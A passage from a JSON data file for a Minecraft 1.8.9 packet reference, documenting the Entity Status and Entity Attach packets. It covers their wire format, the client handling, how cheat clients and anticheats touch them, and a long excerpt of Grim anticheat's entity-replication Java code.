     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x19: int entityId plus one opcode byte handled by Entity.handleHealthUpdate.",
    "Opcode 2 is hurt and 3 is death; others cover taming, wolves, wither spawn and particles.",
    "One-shot event with no ack; hurt status arrives just before S12 velocity on damage.",
    "MCP 1.8.9 S19PacketEntityStatus implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleEntityStatus; wire serde is readPacketData/writePacketData via readByte, readInt.",
    "1.8.9 callers: CommandGameRule.func_175773_a sends new S19PacketEntityStatus (line 83) +2 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/command/CommandGameRule.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S19PacketEntityStatus/",
   "mcp_path": "net/minecraft/network/play/server/S19PacketEntityStatus.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "WorldServer"
   ]
  },
  {
   "id": "S1BPacketEntityAttach",
   "hex": "0x1B",
   "dec": 27,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Entity Attach",
   "desc": "Attaches an entity to another (player on horse, animal on leash, leach knot).",
   "tags": [
    "entity",
    "mount",
    "vehicle"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "int",
     "desc": "Entity ID of the passenger"
    },
    {
     "name": "vehicleId",
     "type": "int",
     "desc": "Entity ID of the vehicle (-1 for detach)"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "int",
     "Passenger"
    ],
    [
     "Vehicle ID",
     "int",
     "Vehicle (-1 = detach)"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleEntityAttach()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S1BPacketEntityAttach is the mount and leash state channel. Opcode 0 attaches an entity to a vehicle (vehicleId -1 detaches), opcode 1 manages leash knots. The corpus server senders: EntityTrackerEntry broadcasts (0, trackedEntity, ridingEntity) when a tracked entity enters range and on mount changes (lines 166, 387), EntityPlayerMP sends (0, self, ridingEntity) when the player mounts (line 630), and EntityLiving broadcasts (1, self, leashedToEntity) on leash attach and detach (lines 991, 1016). The wire format is three ints: leash code, entityId and vehicleId."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleEntityAttach (Memeware 7.3 bundle, line 852) resolves both entities and branches on the code. For code 0 it clears the boat empty flag for the local player, shows the 'mount.onboard' sneak hint when the player mounts a vehicle, and calls mountEntity(vehicle). For code 1 it calls setLeashedToEntity or clearLeashed on the living entity. The handler is a pure state mirror: the client applies whatever the server announces."
     },
     {
      "h": "Why clients touch it",
      "p": "Zero module hits in the 8-client corpus. The only non-vanilla reference is Rise 6.x NetworkAPI, the script packet whitelist, in both 6.1.30 and 6.2.4; no module in any client branches on S1B. The structural reason: attach state is fully client-rendered and server-authoritative, and the movement exploits that involve vehicles (boat fly, entity control) act on the serverbound side, on C03 positions sent while riding and on local rider physics, not on this clientbound announcement. There is nothing to gain by intercepting a state change the client must apply verbatim."
     },
     {
      "h": "Exploit surface",
      "p": "The packet is a clientbound state mirror with no acknowledgement, so the abuse direction is server to client: a malicious server can spam attach packets to desync mount state or flip the client's ridingEntity, which corrupts the movement code path (client movement while riding uses the vehicle's physics). Anti-cheats flag vehicle abuse on the serverbound side: impossible vertical C03 deltas while the player's ridingEntity is set server-side. No cheat in the corpus interacts with this packet, and none needs to."
     }
    ],
    "overview": "The mount/leash packet is the one clientbound entity packet with no module consumers in the 8 clients: the only non-vanilla reference is the Rise 6.x script API whitelist. Vehicle movement exploits live entirely on the serverbound C03 side, so this announcement is left to vanilla.",
    "server_handling": "Clientbound only. The server emits it from EntityTrackerEntry on tracking start and mount/leash changes, from EntityPlayerMP when the player mounts, and from EntityLiving on leash transitions. The client applies mountEntity or setLeashedToEntity/clearLeashed and shows the onboarding hint for the local player. No validation, no rate limit, no serverbound counterpart.",
    "protocol_notes": "Three ints: code (0 = riding, 1 = leash), entityId, vehicleId (-1 or null entity for detach/clear). The boat empty flag is a client-side convenience derived from the local player's mount state, not part of the wire format. The packet is sent once per state transition, not continuously; movement while riding travels through the S14/S18 stream of the vehicle entity.",
    "anticheat_landscape": "No anticheat inspects S1B because it is clientbound. Vehicle exploits are detected from the serverbound stream: boat fly produces C03 deltas inconsistent with the mounted entity's physics, and entity-control exploits abuse C09 slot changes. The packet matters to anti-cheat designers only as the trigger for the server-side riding state that those checks key on.",
    "modules": [],
    "general_hooks": "None in the corpus. Rise 6.x scripts can receive it via the NetworkAPI whitelist (com/alan/clients/script/api/NetworkAPI.java, both versions), but no shipped module registers a handler.",
    "client_variations": "Memeware, Nekoware, Sigma, Spicy and Tenacity appear only through the vanilla NetHandlerPlayClient handler; Rise 6.1.30 and 6.2.4 through the script API whitelist. The vanilla handler is identical across all eight bundles.",
    "related": [
     "S14PacketEntity",
     "S18PacketEntityTeleport",
     "C03PacketPlayer"
    ],
    "anticheat": {
     "overview": "S1B is clientbound mount and leash state, and the corpus shows three real consumers: Grim converts the 1.8 attach into its 1.9+ mount format inside PacketEntityReplication, Artemis folds the player's attach into the prediction vehicle under a transaction confirmation, and Intave registers an AttachEntityReader plus an entity-tracker hook. The remaining hits are noise: NCP's attach terms are listener and block-attachment bookkeeping, Argus's CheckAttachedModules is its own client-module report channel, and Negativity, FlopAC and Artemis contribute constants and wrappers. The flagging side of vehicle exploits stays on the inbound C03 stream; these checks exist to keep the simulated vehicle state honest.",
     "checks": [
      {
       "name": "Attach replication (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Mirror the server's mount state into the compensated entity tracker so movement and vehicle checks know what the player and tracked entities are riding.",
       "how_it_works": "PacketEntityReplication parses WrapperPlayServerAttachEntity on the ATTACH_ENTITY send, ignores it on 1.9+ servers (replaced by SET_PASSENGERS), and for non-leash attaches converts the 1.8 format into handleMountVehicle: vehicleId -1 dismounts using the stored legacyPointEightMountedUpon, otherwise the mount pair is recorded. An attach naming an untracked entity logs a warning because the client itself would ignore it. SetbackTeleportUtil sends the matching detach during teleport setbacks so a player cannot re-enter a vehicle to keep a cheat active.",
       "detects": "Nothing directly: state replication. It removes mount-state desync as a variable when movement checks evaluate vehicle motion, and the setback-time detach closes the vehicle-reentry bypass during lag-backs.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.LogUtil;\nimport ac.grim.grimac.utils.data.SprintingState;\nimport ac.grim.grimac.utils.data.TrackerData;\nimport ac.grim.grimac.utils.data.packetentity.DashableEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityHook;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntityTrackXRot;\nimport ac.grim.grimac.utils.enums.Pose;\nimport ac.grim.grimac.utils.nmsutil.EntityMetadataPoseUtil;\nimport ac.grim.grimac.utils.viaversion.ViaVersionUtil;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.entity.EntityPositionData;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.protocol.player.UserProfile;\nimport com.github.retrooper.packetevents.protocol.potion.PotionType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerAttachEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDestroyEntities;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEquipment;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityMetadata;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityPositionSync;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRelativeMoveAndRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityRotation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityStatus;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityTeleport;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfo;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoRemove;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerInfoUpdate;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerRemoveEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetPassengers;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetSlot;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnLivingEntity;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPainting;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPlayer;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowItems;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.UUID;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\npublic class PacketEntityReplication extends Check implements PacketReceiveListener, PacketSendListener {\n\n    private final AtomicBoolean hasSentPreWavePacket = new AtomicBoolean(true);\n\n    // Let's imagine the player is on a boat.\n    // The player breaks this boat\n    // If we were to despawn the boat without an extra transaction, then the boat would disappear before\n    // it disappeared on the client side, creating a ghost boat to flag checks with\n    //\n    // If we were to despawn the tick after, spawning must occur the transaction before to stop the same exact\n    // problem with ghost boats in reverse.\n    //\n    // Therefore, we despawn the transaction after, and spawn the tick before.\n    //\n    // If we despawn then spawn an entity in the same transaction, then this solution would despawn the new entity\n    // instead of the old entity, so we wouldn't see the boat at all\n    //\n    // Therefore, if the server sends a despawn and then a spawn in the same transaction for the same entity,\n    // We should simply add a transaction (which will clear this list!)\n    //\n    // Another valid solution is to simply spam more transactions, but let's not waste bandwidth.\n    private final List<Integer> despawnedEntitiesThisTransaction = new ArrayList<>();\n\n    // Maximum ping when a firework boost is removed from the player.\n    private int maxFireworkBoostPing = 1000;\n\n    public PacketEntityReplication(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        // Teleports don't interpolate, duplicate 1.17 packets don't interpolate\n        if (!isTickPacket(event.getPacketType())) return;\n        player.compensatedEntities.entitiesRemovedThisTick.clear();\n        boolean isTickingReliably = player.isTickingReliablyFor(3);\n\n        PacketEntity playerVehicle = player.compensatedEntities.self.getRiding();\n        for (PacketEntity entity : player.compensatedEntities.entityMap.values()) {\n            if (entity == playerVehicle && !player.vehicleData.lastDummy) {\n                // The player has this as their vehicle, so they aren't interpolating it.\n                // And it isn't a dummy position\n                entity.setPositionRaw(player, entity.getPossibleLocationBoxes());\n            } else {\n                entity.onMovement(isTickingReliably);\n            }\n        }\n\n        if (player.vehicleData.camelSprintingState == SprintingState.STOPPING) {\n            player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n        } else if (player.vehicleData.camelSprintingState == SprintingState.STOPPED && player.isSprinting) { // For sprint desyncs\n            player.vehicleData.camelSprintingState = SprintingState.STARTED;\n        }\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        // ensure grim is the one that sent the transaction\n        if ((event.getPacketType() == PacketType.Play.Server.PING || event.getPacketType() == PacketType.Play.Server.WINDOW_CONFIRMATION) && player.packetStateData.lastServerTransWasValid) {\n            despawnedEntitiesThisTransaction.clear();\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_LIVING_ENTITY) {\n            WrapperPlayServerSpawnLivingEntity packetOutEntity = new WrapperPlayServerSpawnLivingEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getEntityUUID(), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_ENTITY) {\n            WrapperPlayServerSpawnEntity packetOutEntity = new WrapperPlayServerSpawnEntity(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID().orElse(null), packetOutEntity.getEntityType(), packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), null, packetOutEntity.getData());\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PLAYER) {\n            WrapperPlayServerSpawnPlayer packetOutEntity = new WrapperPlayServerSpawnPlayer(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PLAYER, packetOutEntity.getPosition(), packetOutEntity.getYaw(), packetOutEntity.getPitch(), packetOutEntity.getEntityMetadata(), 0);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PAINTING) {\n            WrapperPlayServerSpawnPainting packetOutEntity = new WrapperPlayServerSpawnPainting(event);\n            addEntity(packetOutEntity.getEntityId(), packetOutEntity.getUUID(), EntityTypes.PAINTING, packetOutEntity.getPosition().toVector3d(), 0, 0f, null, packetOutEntity.getDirection().getHorizontalIndex());\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE) {\n            WrapperPlayServerEntityRelativeMove move = new WrapperPlayServerEntityRelativeMove(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), null, null, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE_AND_ROTATION) {\n            WrapperPlayServerEntityRelativeMoveAndRotation move = new WrapperPlayServerEntityRelativeMoveAndRotation(event);\n            handleMoveEntity(event, move.getEntityId(), move.getDeltaX(), move.getDeltaY(), move.getDeltaZ(), move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_TELEPORT) {\n            WrapperPlayServerEntityTeleport move = new WrapperPlayServerEntityTeleport(event);\n            Vector3d pos = move.getPosition();\n            handleMoveEntity(event, move.getEntityId(), pos.getX(), pos.getY(), pos.getZ(), move.getYaw(), move.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_POSITION_SYNC) {\n            // ENTITY_TELEPORT but without relative flags\n            WrapperPlayServerEntityPositionSync move = new WrapperPlayServerEntityPositionSync(event);\n            final EntityPositionData values = move.getValues();\n            final Vector3d pos = values.getPosition();\n            // TODO this isn't technically correct\n            // If the position sync is to a pos > 4096 from the entity pos, client does some special stuff without interpolation\n            handleMoveEntity(event, move.getId(), pos.getX(), pos.getY(), pos.getZ(), values.getYaw(), values.getPitch(), false, true);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_ROTATION) { // Affects interpolation\n            WrapperPlayServerEntityRotation move = new WrapperPlayServerEntityRotation(event);\n            handleMoveEntity(event, move.getEntityId(), 0, 0, 0, move.getYaw() * 0.7111111F, move.getPitch() * 0.7111111F, true, false);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_METADATA) {\n            WrapperPlayServerEntityMetadata entityMetadata = new WrapperPlayServerEntityMetadata(event);\n            schedulePoseTransition(entityMetadata, event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityMetadata(entityMetadata.getEntityId(), entityMetadata.getEntityMetadata()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EQUIPMENT) {\n            WrapperPlayServerEntityEquipment equipment = new WrapperPlayServerEntityEquipment(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.compensatedEntities.updateEntityEquipment(equipment.getEntityId(), equipment.getEquipment()));\n        }\n\n        // 1.19.3+\n        else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_UPDATE) {\n            WrapperPlayServerPlayerInfoUpdate info = new WrapperPlayServerPlayerInfoUpdate(event);\n            if (info.getActions().contains(WrapperPlayServerPlayerInfoUpdate.Action.ADD_PLAYER)) {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    for (WrapperPlayServerPlayerInfoUpdate.PlayerInfo entry : info.getEntries()) {\n                        final UserProfile gameProfile = entry.getGameProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                });\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO_REMOVE) {\n            WrapperPlayServerPlayerInfoRemove remove = new WrapperPlayServerPlayerInfoRemove(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> remove.getProfileIds().forEach(player.compensatedEntities.profiles::remove));\n        } else if (event.getPacketType() == PacketType.Play.Server.PLAYER_INFO) {\n            WrapperPlayServerPlayerInfo info = new WrapperPlayServerPlayerInfo(event);\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (info.getAction() == WrapperPlayServerPlayerInfo.Action.ADD_PLAYER) {\n                    for (WrapperPlayServerPlayerInfo.PlayerData entry : info.getPlayerDataList()) {\n                        final UserProfile gameProfile = entry.getUserProfile();\n                        final UUID uuid = gameProfile.getUUID();\n                        player.compensatedEntities.profiles.put(uuid, gameProfile);\n                    }\n                } else if (info.getAction() == WrapperPlayServerPlayerInfo.Action.REMOVE_PLAYER) {\n                    info.getPlayerDataList().forEach(profile -> player.compensatedEntities.profiles.remove(profile.getUserProfile().getUUID()));\n                }\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EFFECT) {\n            WrapperPlayServerEntityEffect effect = new WrapperPlayServerEntityEffect(event);\n\n            PotionType type = effect.getPotionType();\n\n            // ViaVersion tries faking levitation effects and fails badly lol, flagging the anticheat\n            // Block other effects just in case ViaVersion gets any ideas\n            //\n            // Set to 24 so ViaVersion blocks it\n            // 24 is the levitation effect\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) > 23) {\n                event.setCancelled(true);\n                return;\n            }\n\n            // ViaVersion dolphin's grace also messes us up, set it to a potion effect that doesn't exist on 1.12\n            // Effect 31 is bad omen\n            if (player.getClientVersion().isOlderThan(ClientVersion.V_1_13) && ViaVersionUtil.isAvailable && type.getId(player.getClientVersion()) == 30) {\n                event.setCancelled(true);\n                return;\n            }\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.addPotionEffect(type, effect.getEffectAmplifier());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.REMOVE_ENTITY_EFFECT) {\n            WrapperPlayServerRemoveEntityEffect effect = new WrapperPlayServerRemoveEntityEffect(event);\n\n            if (isDirectlyAffectingPlayer(player, effect.getEntityId())) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity entity = player.compensatedEntities.getEntity(effect.getEntityId());\n                if (entity == null) return;\n\n                entity.removePotionEffect(effect.getPotionType());\n            });\n        } else if (event.getPacketType() == PacketType.Play.Server.UPDATE_ATTRIBUTES) {\n            WrapperPlayServerUpdateAttributes attributes = new WrapperPlayServerUpdateAttributes(event);\n\n            int entityID = attributes.getEntityId();\n\n            // The attributes for this entity is active, currently\n            if (isDirectlyAffectingPlayer(player, entityID)) player.sendTransaction();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(),\n                    () -> player.compensatedEntities.updateAttributes(entityID, attributes.getProperties()));\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_STATUS) {\n            WrapperPlayServerEntityStatus status = new WrapperPlayServerEntityStatus(event);\n            // This hasn't changed from 1.7.2 to 1.17\n            // Needed to exempt players on dead vehicles, as dead entities have strange physics.\n            if (status.getStatus() == 3) {\n                PacketEntity entity = player.compensatedEntities.getEntity(status.getEntityId());\n\n                if (entity == null) return;\n                entity.isDead = true;\n            }\n\n            if (status.getStatus() == 9) {\n                if (status.getEntityId() != player.entityID) return;\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n            }\n\n            if (status.getStatus() == 31) {\n                PacketEntity hook = player.compensatedEntities.getEntity(status.getEntityId());\n                if (!(hook instanceof PacketEntityHook hookEntity)) return;\n\n                if (hookEntity.attached == player.entityID) {\n                    player.sendTransaction();\n                    // We don't transaction sandwich this, it's too rare to be a real problem.\n                    player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.uncertaintyHandler.fishingRodPulls.add(hookEntity.owner));\n                }\n            }\n\n            if (status.getStatus() >= 24 && status.getStatus() <= 28 && status.getEntityId() == player.entityID) {\n                player.compensatedEntities.self.opLevel = status.getStatus() - 24;\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_SLOT) {\n            WrapperPlayServerSetSlot slot = new WrapperPlayServerSetSlot(event);\n\n            if (slot.getWindowId() == 0) {\n                Runnable task = () -> {\n                    if (slot.getSlot() - 36 == player.packetStateData.lastSlotSelected && (\n                            !player.inventory.getHeldItem().is(slot.getItem().getType()) || player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)\n                    ) || slot.getSlot() == 45 && !player.inventory.getOffHand().is(slot.getItem().getType())) {\n                        InteractionHand hand = slot.getSlot() == 45 ? InteractionHand.OFF_HAND : InteractionHand.MAIN_HAND;\n                        if (hand == player.packetStateData.itemInUseHand) {\n                            player.packetStateData.setSlowedByUsingItem(false);\n                        }\n\n                        if (player.isResetItemUsageOnItemUpdate() && hand == GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer)) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.WINDOW_ITEMS) {\n            WrapperPlayServerWindowItems items = new WrapperPlayServerWindowItems(event);\n\n            if (items.getWindowId() == 0) { // Player inventory\n                Runnable task = () -> {\n                    if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) {\n                        player.packetStateData.setSlowedByUsingItem(false);\n                        if (player.isResetItemUsageOnItemUpdate()) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    } else {\n                        if (items.getItems().size() > 45 && !player.inventory.getOffHand().is(items.getItems().get(45).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.OFF_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.OFF_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n\n                        if (!player.inventory.getHeldItem().is(items.getItems().get(player.packetStateData.lastSlotSelected + 36).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.MAIN_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.MAIN_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        }\n\n        // 1.8 clients fail to send the RELEASE_USE_ITEM packet when a window is opened client sided while using an item\n        else if (event.getPacketType() == PacketType.Play.Server.OPEN_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.OPEN_HORSE_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_PASSENGERS) {\n            WrapperPlayServerSetPassengers mount = new WrapperPlayServerSetPassengers(event);\n\n            int vehicleID = mount.getEntityId();\n            int[] passengers = mount.getPassengers();\n\n            handleMountVehicle(event, vehicleID, passengers);\n        } else if (event.getPacketType() == PacketType.Play.Server.ATTACH_ENTITY) {\n            WrapperPlayServerAttachEntity attach = new WrapperPlayServerAttachEntity(event);\n\n            // This packet was replaced by the mount packet on 1.9+ servers - to support multiple passengers on one vehicle\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))\n                return;\n\n            // If this is mounting rather than leashing\n            if (!attach.isLeash()) {\n                // Alright, let's convert this to the 1.9+ format to make it easier for grim\n                int vehicleID = attach.getHoldingId();\n                int attachID = attach.getAttachedId();\n                TrackerData trackerData = player.compensatedEntities.getTrackedEntity(attachID);\n\n                if (trackerData != null) {\n                    // 1.8 sends a vehicle ID of -1 to dismount the entity from its vehicle\n                    // This is opposite of the 1.9+ format, which sends the vehicle ID and then an empty array.\n                    if (vehicleID == -1) { // Dismounting\n                        vehicleID = trackerData.getLegacyPointEightMountedUpon();\n                        handleMountVehicle(event, vehicleID, new int[]{}); // The vehicle is empty\n                    } else { // Mounting\n                        trackerData.setLegacyPointEightMountedUpon(vehicleID);\n                        handleMountVehicle(event, vehicleID, new int[]{attachID});\n                    }\n                } else {\n                    // I don't think we can recover from this... warn and move on as this shouldn't happen.\n                    LogUtil.warn(\"Server sent an invalid attach entity packet for entity \" + attach.getHoldingId() + \" with passenger \" + attach.getAttachedId() + \"! The client ignores this.\");\n                }\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.DESTROY_ENTITIES) {\n            WrapperPlayServerDestroyEntities destroy = new WrapperPlayServerDestroyEntities(event);\n\n            int[] destroyEntityIds = destroy.getEntityIds();\n\n            for (int entityID : destroyEntityIds) {\n                despawnedEntitiesThisTransaction.add(entityID);\n                player.compensatedEntities.serverPositionsMap.remove(entityID);\n                // Remove the tracked vehicle (handling tracking knockback) if despawned\n                if (player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == entityID) {\n                    player.compensatedEntities.serverPlayerVehicle = null;\n                }\n            }\n\n            final int destroyTransaction = player.lastTransactionSent.get() + 1;\n            player.latencyUtils.addRealTimeTask(destroyTransaction, () -> {\n                for (int entityId : destroyEntityIds) {\n                    player.compensatedEntities.removeEntity(entityId);\n                    player.dashableEntities.removeEntity(entityId);\n                    player.fireworks.removeFirework(entityId);\n                    player.compensatedEntities.entitiesRemovedThisTick.add(entityId);\n                }\n            });\n\n            // Don't let the player freeze transactions to keep the firework boost velocity + uncertainty\n            // Also generally prevents people with high ping gaining too high an advantage in firework use\n            if (maxFireworkBoostPing > 0) {\n                player.runNettyTaskInMs(() -> {\n                    if (player.lastTransactionReceived.get() >= destroyTransaction) return;\n                    for (int entityID : destroyEntityIds) {\n                        // If the player has a firework boosting them, setback\n                        if (player.fireworks.hasFirework(entityID)) {\n                            player.getSetbackTeleportUtil().executeViolationSetback();\n                            break;\n                        }\n                    }\n                }, maxFireworkBoostPing);\n            }\n        }\n    }\n\n    private void handleMountVehicle(PacketSendEvent event, int vehicleID, int[] passengers) {\n        boolean wasInVehicle = player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == vehicleID;\n        boolean inThisVehicle = false;\n\n        for (int passenger : passengers) {\n            inThisVehicle = passenger == player.entityID;\n            if (inThisVehicle) break;\n        }\n\n        if (inThisVehicle && !wasInVehicle) {\n            player.handleMountVehicle(vehicleID);\n        }\n\n        if (!inThisVehicle && 